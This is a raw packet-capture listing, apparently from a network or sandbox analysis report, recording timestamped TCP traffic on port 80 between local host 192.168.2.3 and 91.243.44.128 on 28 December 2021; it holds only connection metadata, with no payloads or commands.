Dec 28, 2021 05:19:34.258562088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.259563923 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321337938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321382999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321419001 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321459055 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321468115 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321500063 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321530104 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321537971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321578026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321590900 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321620941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321657896 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321700096 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321707964 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321739912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321752071 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321780920 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321820974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321858883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321871996 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321901083 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321904898 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.321958065 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.321995974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322026014 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322053909 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322066069 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322082996 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322104931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322144985 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322184086 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322196007 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322226048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322228909 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322268009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322304964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322345018 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322354078 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322387934 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322391987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322427034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322467089 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322506905 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322518110 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322546959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322550058 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322587967 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322627068 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322666883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322674036 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322710037 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322711945 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322748899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322788000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322825909 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322837114 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322865963 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322874069 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.322906971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322943926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322983980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.322992086 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323024988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323031902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323062897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323101997 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323141098 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323152065 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323179960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323185921 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323220015 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323257923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323297977 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323304892 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323338032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323345900 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323375940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323415041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323452950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323460102 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323493004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323499918 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323534012 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323570967 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323610067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323616028 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323648930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323657036 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323687077 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323728085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323766947 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323779106 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323806047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323812962 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323847055 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323883057 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323921919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323932886 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323961020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.323966980 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.323998928 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324038029 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324076891 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324088097 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324115992 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324121952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324157000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324193954 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324233055 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324242115 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324274063 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324280024 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324311972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324351072 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324389935 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324400902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324429035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324434996 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324470043 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324506998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324546099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324553013 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324584961 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324592113 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.324623108 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324661970 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324780941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324812889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324878931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324919939 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324955940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.324995995 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325033903 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325073004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325112104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325149059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325150967 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325185061 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325189114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325192928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325201035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325206041 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325229883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325252056 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325272083 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325311899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325314045 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325345039 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325351954 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325392008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325432062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325448990 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325469017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325485945 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325509071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325550079 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325558901 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325587988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325592995 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325628042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325645924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325666904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325707912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325747013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325767994 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325784922 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325803995 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325824976 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325864077 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325901031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.325922966 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.325962067 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.326453924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.388777971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.388834000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.388895988 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.388909101 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.388952971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.388995886 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389013052 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389035940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389077902 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389094114 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389117956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389156103 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389195919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389209032 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389235973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389245987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389276981 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389317989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389332056 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389357090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389399052 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389440060 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389457941 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389478922 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389494896 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389519930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389559031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389597893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389612913 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389638901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389652967 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389677048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389719009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389758110 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389779091 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389795065 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389821053 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389834881 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389874935 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389914036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389940977 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389952898 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.389976025 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.389991999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390031099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390072107 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390089035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390110016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390127897 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390150070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390187979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390225887 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390247107 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390265942 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390285969 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390305042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390345097 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390360117 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390383959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390422106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390436888 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390460968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390500069 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390537977 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390552998 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390578032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390590906 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390614986 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390655041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390692949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390707970 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390733004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390750885 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390774012 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390813112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390826941 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390852928 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390892982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390933037 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390943050 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.390974045 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.390995979 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391014099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391043901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391082048 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391083956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391123056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391135931 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391163111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391201973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391238928 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391253948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391278028 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391288042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391316891 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391356945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391370058 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391396999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391434908 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391474009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391488075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391513109 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391526937 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391550064 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391608953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391649008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391669035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391689062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391709089 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391731024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391769886 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391809940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391832113 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391849041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391866922 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.391889095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391927004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391967058 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.391984940 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392009020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392025948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392050028 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392087936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392127991 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392146111 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392168999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392187119 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392210007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392250061 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392288923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392313957 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392329931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392349958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392373085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392410994 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392450094 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392466068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392492056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392507076 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392532110 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392570972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392610073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392627954 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392652035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392677069 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392692089 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392734051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392774105 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392795086 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392813921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392837048 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392874956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392915010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392954111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.392977953 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.392992973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393012047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.393032074 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393071890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393107891 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393127918 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.393147945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393161058 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.393188000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.393224955 CET	80	49834	91.243.44.128	192.168.2.3
